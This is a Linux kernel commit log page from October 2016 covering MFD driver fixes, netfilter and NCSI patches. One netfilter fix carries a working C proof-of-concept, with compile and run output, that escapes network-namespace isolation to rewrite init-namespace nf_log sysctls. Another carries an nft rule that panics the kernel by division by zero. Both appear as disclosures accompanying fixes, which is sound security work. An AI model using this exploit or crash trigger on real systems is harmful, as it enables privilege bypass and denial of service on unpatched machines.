aboutsummaryrefslogtreecommitdiff
AgeCommit message (Collapse)AuthorFilesLines
2016-10-04mfd: max8997-irq: 'inline' should be at the beginning of the declarationLee Jones1-1/+1
Reported by [-Wold-style-declaration]. Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: rk808: Fix RK818_IRQ_DISCHG_ILIM initializerArnd Bergmann1-1/+1
When building with -Woverride-init, we get a warning about an incorrect initializer: drivers/mfd/rk808.c:244:8: error: initialized field overwritten [-Werror=override-init] [RK818_IRQ_DISCHG_ILIM] = { This is clearly a mistake, as both RK818_IRQ_DISCHG_ILIM and RK818_IRQ_USB_OV are defined as '7', but they refer to different register bits. Changing RK818_IRQ_DISCHG_ILIM to 15 is consistent with how all other 14 interrupts are handled here, so I'm assuming this is what it should have been. Fixes: 2eedcbfc0612 ("mfd: rk808: Add RK818 support") Signed-off-by: Arnd Bergmann <[email protected]> Acked-by: Andy Yan <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: tps65217: Fix nonstandard declarationArnd Bergmann1-1/+1
The tps65217 gained a new warning when building with W=1: drivers/mfd/tps65217.c:85:1: error: 'inline' is not at beginning of declaration [-Werror=old-style-declaration] This fixes it by putting the 'inline' modifier before 'const'. Fixes: 262d5cc6ceb2 ("mfd: tps65217: Add support for IRQs") Signed-off-by: Arnd Bergmann <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: lp873x: Remove unused mutex lock from struct lp873xAxel Lin2-3/+0
The mutex is not used, so remove it. Signed-off-by: Axel Lin <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: atmel-hlcdc: Do not sleep in atomic contextBoris Brezillon1-2/+3
readl_poll_timeout() calls usleep_range(), but regmap_atmel_hlcdc_reg_write() is called in atomic context (regmap spinlock held). Replace the readl_poll_timeout() call by readl_poll_timeout_atomic(). Cc: <[email protected]> Fixes: ea31c0cf9b07 ("mfd: atmel-hlcdc: Implement config synchronization") Signed-off-by: Boris Brezillon <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: exynos-lpass: Mark PM functions as __maybe_unusedArnd Bergmann1-4/+2
The newly added exynos lpass driver produces a build warning when CONFIG_PM is disabled since the only callers of exynos_lpass_disable are under an #ifdef: drivers/mfd/exynos-lpass.c:93:13: error: 'exynos_lpass_disable' defined but not used [-Werror=unused-function] static void exynos_lpass_disable(struct exynos_lpass *lpass) This removes the #ifdef and replaces it with __maybe_unused annotations so the compiler can leave out the unused code silently with less room for mistakes. Fixes: 36c26760bba8 ("mfd: Add Samsung Exynos Low Power Audio Subsystem driver") Signed-off-by: Arnd Bergmann <[email protected]> Reviewed-by: Sylwester Nawrocki <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: intel-lpss: Add default I2C device properties for Apollo LakeJarkko Nikula2-9/+33
Default I2C device properties for Intel Broxton, especially SDA hold time may not be enough on Intel Apollo Lake. These properties are used in case we don't get timing parameters from ACPI. The default SDA hold time for Broxton may fail with arbitration lost errors on Apollo Lake: i2c_designware i2c_designware.1: i2c_dw_handle_tx_abort: lost arbitration Fix this by using different default device properties on Apollo Lake than Broxton. Reported-by: Paul Liu <[email protected]> Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=156181 Signed-off-by: Jarkko Nikula <[email protected]> Acked-by: Mika Westerberg <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: twl-core: Make it explicitly non-modularPaul Gortmaker1-8/+1
The Kconfig currently controlling compilation of this code is: drivers/mfd/Kconfig:config TWL4030_CORE drivers/mfd/Kconfig: bool "TI TWL4030/TWL5030/TWL6030/TPS659x0 Support" ...meaning that it currently is not being built as a module by anyone. Lets remove what modular code that we can, so that when reading the driver there is less doubt that it is builtin-only. Note that we can't remove the twl_remove() itself ; it is still used by the probe unwind routine. So we leave it linked into the .remove as well, even though it will most likely never be called via that path from an unbind. Since module_i2c_driver() uses the same init level priority as builtin_i2c_driver() the init ordering remains unchanged with this commit. Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code. We also delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. Signed-off-by: Paul Gortmaker <[email protected]> Acked-by: Tony Lindgren <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: sun6i-prcm: Make it explicitly non-modularPaul Gortmaker1-6/+2
The Kconfig currently controlling compilation of this code is: drivers/mfd/Kconfig:config MFD_SUN6I_PRCM drivers/mfd/Kconfig: bool "Allwinner A31 PRCM controller" ...meaning that it currently is not being built as a module by anyone. Lets remove the couple traces of modularity so that when reading the driver there is no doubt it is builtin-only. Since module_platform_driver() uses the same init level priority as builtin_platform_driver() the init ordering remains unchanged with this commit. We also delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. Signed-off-by: Paul Gortmaker <[email protected]> Acked-by: Maxime Ripard <[email protected]> Acked-by: Boris Brezillon <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: smsc-ece1099: Make it explicitly non-modularPaul Gortmaker1-9/+2
The Kconfig currently controlling compilation of this code is: drivers/mfd/Kconfig:config MFD_SMSC drivers/mfd/Kconfig: bool "SMSC ECE1099 series chips" ...meaning that it currently is not being built as a module by anyone. Lets remove the modular code that is essentially orphaned, so that when reading the driver there is no doubt it is builtin-only. Since module_init was not in use by this code, the init ordering remains unchanged with this commit. We replace module.h with init.h and delete an unused moduleparam.h include. Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code. We also delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. Cc: Sourav Poddar <[email protected]> Signed-off-by: Paul Gortmaker <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: intel_msic: Make it explicitly non-modularPaul Gortmaker1-7/+2
The Kconfig currently controlling compilation of this code is: drivers/mfd/Kconfig:config MFD_INTEL_MSIC drivers/mfd/Kconfig: bool "Intel MSIC ...meaning that it currently is not being built as a module by anyone. Lets remove the couple instances of module references, so that when reading the driver there is no doubt it is builtin-only. Since module_platform_driver() uses the same init level priority as builtin_platform_driver() the init ordering remains unchanged with this commit. We also delete the MODULE_LICENSE tag etc. since all that information is already contained at the top of the file in the comments. Signed-off-by: Paul Gortmaker <[email protected]> Acked-by: Mika Westerberg <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: as3722: Convert MFD_AS3722 from bool to tristatePaul Gortmaker1-1/+1
The Kconfig currently controlling compilation of this code is: drivers/mfd/Kconfig:config MFD_AS3722 drivers/mfd/Kconfig: bool "ams AS3722 Power Management IC" ...meaning that it currently is not being built as a module by anyone. In response to an earlier patch set suggesting removal of the unused modular code, Laxman suggested that this driver be instead moved to tristate. We do that here, and confirm it can build and modpost as a tristate. However there remains to be runtime testing in order to ensure this change is 100% functional for "=m". Cc: Florian Lobmaier <[email protected]> Cc: Laxman Dewangan <[email protected]> Signed-off-by: Paul Gortmaker <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: altera-a10sr: Make it explicitly non-modularPaul Gortmaker1-8/+6
The Kconfig currently controlling compilation of this code is: drivers/mfd/Kconfig:config MFD_ALTERA_A10SR drivers/mfd/Kconfig: bool "Altera Arria10 DevKit System Resource chip" ...meaning that it currently is not being built as a module by anyone. Lets remove the modular code that is essentially orphaned, so that when reading the driver there is no doubt it is builtin-only. Since builtin_driver() uses the same init level priority as module_spi_driver() the init ordering remains unchanged with this commit. [Note that there is no builtin_spi_driver macro, so we open-code what it would be via builtin_driver().] Also note that MODULE_DEVICE_TABLE is a no-op for non-modular code. We also delete the MODULE_LICENSE tag etc. since all that information was (or is now) contained at the top of the file in the comments. Cc: Thor Thayer <[email protected]> Signed-off-by: Paul Gortmaker <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: tps65217: Add power button as subdeviceMarcin Niestroj1-0/+10
Add tps65217 power buttor subdevice with assigned IRQ resources. Signed-off-by: Marcin Niestroj <[email protected]> Acked-by: Tony Lindgren <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: tps65217: Add support for IRQsMarcin Niestroj3-8/+200
Add support for handling IRQs: power button, AC and USB power state changes. Mask and interrupt bits are shared within one register, which prevents us to use regmap_irq implementation. New irq_domain is created in order to add interrupt handling for each tps65217's subsystem. IRQ resources have been added for charger subsystem to be able to notify about AC and USB state changes. Signed-off-by: Marcin Niestroj <[email protected]> Reviewed-by: Grygorii Strashko <[email protected]> Tested-by: Tony Lindgren <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: sm501: Constify gpio_chip structuresJulia Lawall1-1/+1
These structures are only used to copy into other structures, so declare them as const. The semantic patch that makes this change is as follows: (http://coccinelle.lip6.fr/) // <smpl> @r disable optional_qualifier@ identifier i; position p; @@ static struct gpio_chip i@p = { ... }; @ok@ identifier r.i; expression e; position p; @@ e = i@p; @bad@ position p != {r.p,ok.p}; identifier r.i; struct gpio_chip e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct gpio_chip i = { ... }; // </smpl> Signed-off-by: Julia Lawall <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04syscon: dt-bindings: Add documentation for Aspeed system control unitsAndrew Jeffery1-0/+18
Signed-off-by: Andrew Jeffery <[email protected]> Acked-by: Rob Herring <[email protected]> Acked-by: Joel Stanley <[email protected]> Acked-by: Linus Walleij <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04MAINTAINERS: Add MFD's DT bindings directory to MFD entryLee Jones1-0/+1
Reviewed-by: Andrew Jeffery <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: ucb1x00: Remove NO_IRQ checkArnd Bergmann1-1/+1
probe_irq_off() returns '0' on failure, not NO_IRQ, so the check in this driver is clearly wrong. This replaces it with the regular '!irq' check used in other drivers. The sa1100 platform that this driver is used on originally numbered all its interrupts starting at '0', which would have conflicted with this change, but as of commit 18f3aec ("ARM: 8230/1: sa1100: shift IRQs by one"), this is not a problem any more. Signed-off-by: Arnd Bergmann <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04doc: bindings: mfd: act8945a: Update the exampleWenyou Yang1-7/+15
Since the act8945a-charger is regarded as a sub-device and it using "interrupts" property, update the examples section. Signed-off-by: Wenyou Yang <[email protected]> Acked-by: Rob Herring <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: twl6040: The chip does not support bulk accessPeter Ujfalusi1-0/+1
Bulk access is not working with twl6040, we need to use single register access. Bulk access would happen when we try to sync the regcache after power on. Signed-off-by: Peter Ujfalusi <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: arizona: Use suspend_noirq inplace of suspend_lateCharles Keepax1-6/+4
As runtime PM doesn't function whilst processing system suspend/resume operations and the Arizona IRQ handlers need runtime PM to function we must disable IRQs during these operations. Whilst this is already done in the driver we are using suspend/suspend_late and resume/resume_noirq to do so which has two problems. Firstly, as suspend_late is before suspend_noirq that means we still have a small window where an IRQ can cause issues. Secondly, if another suspend_late handler fails after ours has run then (as resume_noirq will not run) we will make unbalanced calls to enable_irq. This is all simply fixed by using the suspend_noirq callback rather than suspend_late. Whilst we are doing this tidy the code up a little, and use the appropriate helper macros. Signed-off-by: Charles Keepax <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: act8945a: Add .of_compatible for act8945a-chargerWenyou Yang1-0/+1
To regard the act8945a-charger as a sub-device, add .of_compatible for act8945a-charger cell. Signed-off-by: Wenyou Yang <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: arizona: Add sensible return value to some error pathsCharles Keepax1-1/+4
There are some cases in arizona_dev_init, such as where we don't recognise the chip ID, in which we head to the error path without setting a sensible error code in ret. This would lead to the chip silently failing probe, as it would still return 0. Fix this up by adding appropriate sets of the return value. Whilst adding these update the existing paths that do return an error when the chip is not recognised to use ENODEV, which seems like a better fit. Signed-off-by: Charles Keepax <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: Add Samsung Exynos Low Power Audio Subsystem driverSylwester Nawrocki4-1/+199
This patch adds common driver for the Top block of the Samsung Exynos SoC Low Power Audio Subsystem. This is a minimal driver which prepares resources for IP blocks like I2S, audio DMA and UART and exposes a regmap for the Top block registers. Also system power ops are added to ensure the Audio Subsystem is operational after system suspend/resume cycle. Signed-off-by: Inha Song <[email protected]> Signed-off-by: Beomho Seo <[email protected]> Signed-off-by: Sylwester Nawrocki <[email protected]> Tested-by: Chanwoo Choi <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: Add DT bindings documentation for Samsung Exynos LPASSSylwester Nawrocki1-0/+70
This patch adds documentation of the DT bindings for the Samsung Exynos SoC Low Power Audio Subsystem. Signed-off-by: Sylwester Nawrocki <[email protected]> Acked-by: Rob Herring <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: da9053: Ensure the FAULT_LOG is cleared during MFD driver probeSteve Twiss1-0/+51
The function da9052_clear_fault_log() is added to mitigate the case of persistent data being transferred between reboots. Clearance of any the persistent information within the DA9053 FAULT_LOG register must be completed during start-up so the fault-log does not continue with previous values. A clearance function has been added here in the kernel driver because wiping the fault-log cannot be counted on outside the Linux kernel. Signed-off-by: Steve Twiss <[email protected]> Reviewed-by: Adam Thomson <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: dm355evm_msp: Refactoring for add_child()Markus Elfring1-8/+9
Adjust jump targets according to the Linux coding style convention. Another check for the variable "status" can be omitted then at the end. Link: https://lkml.kernel.org/g/<20160628163146.GG29166@dell> Signed-off-by: Markus Elfring <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: rtsx_usb: Avoid setting ucr->current_sg.statusLu Baolu1-5/+5
Member "status" of struct usb_sg_request is managed by usb core. A spin lock is used to serialize the change of it. The driver could check the value of req->status, but should avoid changing it without the hold of the spinlock. Otherwise, it could cause race or error in usb core. This patch could be backported to stable kernels with version later than v3.14. Cc: [email protected] # 3.14+ Cc: Alan Stern <[email protected]> Cc: Roger Tseng <[email protected]> Signed-off-by: Lu Baolu <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: ucb1x00: Allow IRQ probing to work with IRQs > 32Russell King1-4/+0
probe_irq_on() only returns non-zero if it found any interrupts below IRQ32 which could be probe candidates. If all the probable interrupts are higher than 32, then this will cause a failure. Fix this. Signed-off-by: Russell King <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: qcom_rpm: Handle message RAM clockLinus Walleij1-0/+20
The MSM8660, APQ8060, IPQ806x and MSM8960 have a GCC clock to the message RAM used by the RPM. This needs to be enabled for messages to pass through. This is a crude solution that simply prepare/enable at probe() and disable/unprepare at remove(). More elaborate PM is probably possible to add later. The construction uses IS_ERR() to gracefully handle the platforms that do not provide a message RAM clock. It will bail out of probe only if the clock is hitting a probe deferral situation. Of course this requires the proper device tree set-up: rpm: rpm@104000 { compatible = "qcom,rpm-msm8660"; clocks = <&gcc RPM_MSG_RAM_H_CLK>; clock-names = "ram"; ... }; I have provided this in the MSM8660 device tree, and will provide patches for the other targets. Cc: Björn Andersson <[email protected]> Signed-off-by: Linus Walleij <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: max14577: Change Krzysztof Kozlowski's email to kernel.orgKrzysztof Kozlowski3-4/+4
Change my email address to kernel.org instead of Samsung one for the purpose of any future contact. The copyrights remain untouched and are attributed to Samsung. Signed-off-by: Krzysztof Kozlowski <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04Documentation: mfd: Add DT bindings for the LP873XKeerthy1-0/+59
The lp873x series of PMICs have a bunch of regulators and a couple of GPO(General Purpose Outputs). Add information for the MFD and regulator drivers. Signed-off-by: Keerthy <[email protected]> Acked-by: Rob Herring <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: intel_soc_pmic_bxtwc: Add bxt_wcove_usbc deviceBin Gao1-1/+22
The Intel Whiskey Cove PMIC includes several function units, e.g. ADC, thermal, USB Type-C, GPIO, etc. The corresponding device has to be created in the mfd driver(intel_soc_pmic_bxtwc.c). This change adds the USB Type-c device. Signed-off-by: Bin Gao <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: lpss: Add Intel Kaby Lake PCH-H PCI IDsMika Westerberg1-0/+23
Intel Kaby Lake PCH-H has the same LPSS than Intel Sunrisepoint. Add the new IDs to the list of supported devices. Signed-off-by: Mika Westerberg <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: 88pm80x: Double shifting bug in suspend/resumeDan Carpenter1-2/+2
set_bit() and clear_bit() take the bit number so this code is really doing "1 << (1 << irq)" which is a double shift bug. It's done consistently so it won't cause a problem unless "irq" is more than 4. Fixes: 70c6cce04066 ('mfd: Support 88pm80x in 80x driver') Signed-off-by: Dan Carpenter <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: altera-a10sr: Make altr_a10sr_regmap_config static constAxel Lin1-1/+1
It's only used in this driver and never get modified, make it static const. Signed-off-by: Axel Lin <[email protected]> Reviewed-by: Thor Thayer <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: wm8350-i2c: Make sure the i2c regmap functions are compiledUwe Kleine-König1-0/+1
This fixes a compile failure: drivers/built-in.o: In function `wm8350_i2c_probe': core.c:(.text+0x828b0): undefined reference to `__devm_regmap_init_i2c' Makefile:953: recipe for target 'vmlinux' failed Fixes: 52b461b86a9f ("mfd: Add regmap cache support for wm8350") Signed-off-by: Uwe Kleine-König <[email protected]> Acked-by: Charles Keepax <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: da9063: Update author information to remove incorrect e-mail addressesSteve Twiss6-11/+12
Remove incorrect e-mail addresses from the copyright header and MODULE_AUTHOR() macro. These e-mail addresses are no longer in use. The author names have not been changed, only the e-mail addresses have been deleted from the source files. Signed-off-by: Steve Twiss <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: axp20x: Add AXP209 GPIO supportMaxime Ripard1-0/+3
Now that we have a GPIO driver for the AXP209, we can add it to our MFD. Signed-off-by: Maxime Ripard <[email protected]> Acked-by: Linus Walleij <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04mfd: qcom_rpm: Add missing of_node_put after calling of_parse_phandlePeter Chen1-0/+1
of_node_put needs to be called when the device node which is got from of_parse_phandle has finished using. Signed-off-by: Peter Chen <[email protected]> Reviewed-by: Bjorn Andersson <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04Merge branches 'ib-mfd-gpio-4.9', 'ib-mfd-gpio-regulator-4.9', ↵Lee Jones314-1405/+5810
'ib-mfd-input-4.9', 'ib-mfd-regulator-4.9', 'ib-mfd-regulator-4.9.1', 'ib-mfd-regulator-rtc-4.9', 'ib-mfd-regulator-rtc-4.9-1' and 'ib-mfd-rtc-4.9' into ibs-for-mfd-merged
2016-10-04mfd: arizona: Add gating of external MCLKn clocksSylwester Nawrocki2-2/+37
This patch adds requesting of the clocks supplied on MCLK1, MCLK2 pins, gating of the 32k clock is added to the arizona_clk32k_enable(), arizona_clk32k_disable() helpers. It's a temporary change until the CODEC's clock controller gets exposed through the clk API and is helpful for board configurations where the MCLK clocks are not provided by always on oscillators. Signed-off-by: Sylwester Nawrocki <[email protected]> Signed-off-by: Charles Keepax <[email protected]> Signed-off-by: Lee Jones <[email protected]>
2016-10-04dt-bindings: add vendor prefix for Auvidea GmbHLucas Stach1-0/+1
Auvidea (http://www.auvidea.eu/) produces embedded devices and baseboards with a focus on audio and video technology. Signed-off-by: Lucas Stach <[email protected]> Signed-off-by: Rob Herring <[email protected]>
2016-10-04Merge remote-tracking branch 'net-next/master' into mac80211-nextJohannes Berg1014-11407/+35819
Resolve the merge conflict between Felix's/my and Toke's patches coming into the tree through net and mac80211-next respectively. Most of Felix's changes go away due to Toke's new infrastructure work, my patch changes to "goto begin" (the label wasn't there before) instead of returning NULL so flow control towards drivers is preserved better. Signed-off-by: Johannes Berg <[email protected]>
2016-10-04netfilter: nft_limit: fix divided by zero panicLiping Zhang1-2/+2
After I input the following nftables rule, a panic happened on my system: # nft add rule filter OUTPUT limit rate 0xf00000000 bytes/second divide error: 0000 [#1] SMP [ ... ] RIP: 0010:[<ffffffffa059035e>] [<ffffffffa059035e>] nft_limit_pkt_bytes_eval+0x2e/0xa0 [nft_limit] Call Trace: [<ffffffffa05721bb>] nft_do_chain+0xfb/0x4e0 [nf_tables] [<ffffffffa044f236>] ? nf_nat_setup_info+0x96/0x480 [nf_nat] [<ffffffff81753767>] ? ipt_do_table+0x327/0x610 [<ffffffffa044f677>] ? __nf_nat_alloc_null_binding+0x57/0x80 [nf_nat] [<ffffffffa058b21f>] nft_ipv4_output+0xaf/0xd0 [nf_tables_ipv4] [<ffffffff816f4aa2>] nf_iterate+0x62/0x80 [<ffffffff816f4b33>] nf_hook_slow+0x73/0xd0 [<ffffffff81703d0d>] __ip_local_out+0xcd/0xe0 [<ffffffff81701d90>] ? ip_forward_options+0x1b0/0x1b0 [<ffffffff81703d3c>] ip_local_out+0x1c/0x40 This is because divisor is 64-bit, but we treat it as a 32-bit integer, then 0xf00000000 becomes zero, i.e. divisor becomes 0. Signed-off-by: Liping Zhang <[email protected]> Signed-off-by: Pablo Neira Ayuso <[email protected]>
2016-10-04netfilter: fix namespace handling in nf_log_proc_dostringJann Horn1-2/+4
nf_log_proc_dostring() used current's network namespace instead of the one corresponding to the sysctl file the write was performed on. Because the permission check happens at open time and the nf_log files in namespaces are accessible for the namespace owner, this can be abused by an unprivileged user to effectively write to the init namespace's nf_log sysctls. Stash the "struct net *" in extra2 - data and extra1 are already used. Repro code: #define _GNU_SOURCE #include <stdlib.h> #include <sched.h> #include <err.h> #include <sys/mount.h> #include <sys/types.h> #include <sys/wait.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <stdio.h> char child_stack[1000000]; uid_t outer_uid; gid_t outer_gid; int stolen_fd = -1; void writefile(char *path, char *buf) { int fd = open(path, O_WRONLY); if (fd == -1) err(1, "unable to open thing"); if (write(fd, buf, strlen(buf)) != strlen(buf)) err(1, "unable to write thing"); close(fd); } int child_fn(void *p_) { if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC, NULL)) err(1, "mount"); /* Yes, we need to set the maps for the net sysctls to recognize us * as namespace root. */ char buf[1000]; sprintf(buf, "0 %d 1\n", (int)outer_uid); writefile("/proc/1/uid_map", buf); writefile("/proc/1/setgroups", "deny"); sprintf(buf, "0 %d 1\n", (int)outer_gid); writefile("/proc/1/gid_map", buf); stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY); if (stolen_fd == -1) err(1, "open nf_log"); return 0; } int main(void) { outer_uid = getuid(); outer_gid = getgid(); int child = clone(child_fn, child_stack + sizeof(child_stack), CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL); if (child == -1) err(1, "clone"); int status; if (wait(&status) != child) err(1, "wait"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, "child exit status bad"); char *data = "NONE"; if (write(stolen_fd, data, strlen(data)) != strlen(data)) err(1, "write"); return 0; } Repro: $ gcc -Wall -o attack attack.c -std=gnu99 $ cat /proc/sys/net/netfilter/nf_log/2 nf_log_ipv4 $ ./attack $ cat /proc/sys/net/netfilter/nf_log/2 NONE Because this looks like an issue with very low severity, I'm sending it to the public list directly. Signed-off-by: Jann Horn <[email protected]> Signed-off-by: Pablo Neira Ayuso <[email protected]>
2016-10-04Merge branch 'ncsi-next'David S. Miller7-90/+180
Gavin Shan says: ==================== net/ncsi: NCSI Improvment and bug fixes This series of patches improves NCSI stack according to the comments I received after the NCSI code was merged to 4.8.rc1: * PATCH[1/8] fixes the build warning caused by xchg() with ia64-linux-gcc. The atomic operations are removed. The NCSI's lock should be taken when reading or updating its state and chained state. * Channel ID (0x1f) is the reserved one and it cannot be valid channel ID. So we needn't try to probe channel whose ID is 0x1f. PATCH[2/8] and PATCH[3/8] are addressing this issue. * The request IDs are assigned in round-robin fashion, but it's broken. PATCH[4/8] make it work. * PATCH[5/8] and PATCH[6/8] reworks the channel monitoring to improve the code readability and its robustness. * PATCH[7/8] and PATCH[8/8] introduces ncsi_stop_dev() so that the network device can be closed and opened afterwards. No error will be seen. Changelog ========= v2: * The NCSI's lock is taken when reading or updating its state as the {READ,WRITE}_ONCE() isn't reliable. ==================== Signed-off-by: David S. Miller <[email protected]>
2016-10-04net/faraday: Stop NCSI device on shutdownGavin Shan1-0/+2
This stops NCSI device when closing the network device so that the NCSI device can be reenabled later. Signed-off-by: Gavin Shan <[email protected]> Reviewed-by: Joel Stanley <[email protected]> Signed-off-by: David S. Miller <[email protected]>
2016-10-04net/ncsi: Introduce ncsi_stop_dev()Gavin Shan2-13/+29
This introduces ncsi_stop_dev(), as counterpart to ncsi_start_dev(), to stop the NCSI device so that it can be reenabled in future. This API should be called when the network device driver is going to shutdown the device. There are 3 things done in the function: Stop the channel monitoring; Reset channels to inactive state; Report NCSI link down. Signed-off-by: Gavin Shan <[email protected]> Reviewed-by: Joel Stanley <[email protected]> Signed-off-by: David S. Miller <[email protected]>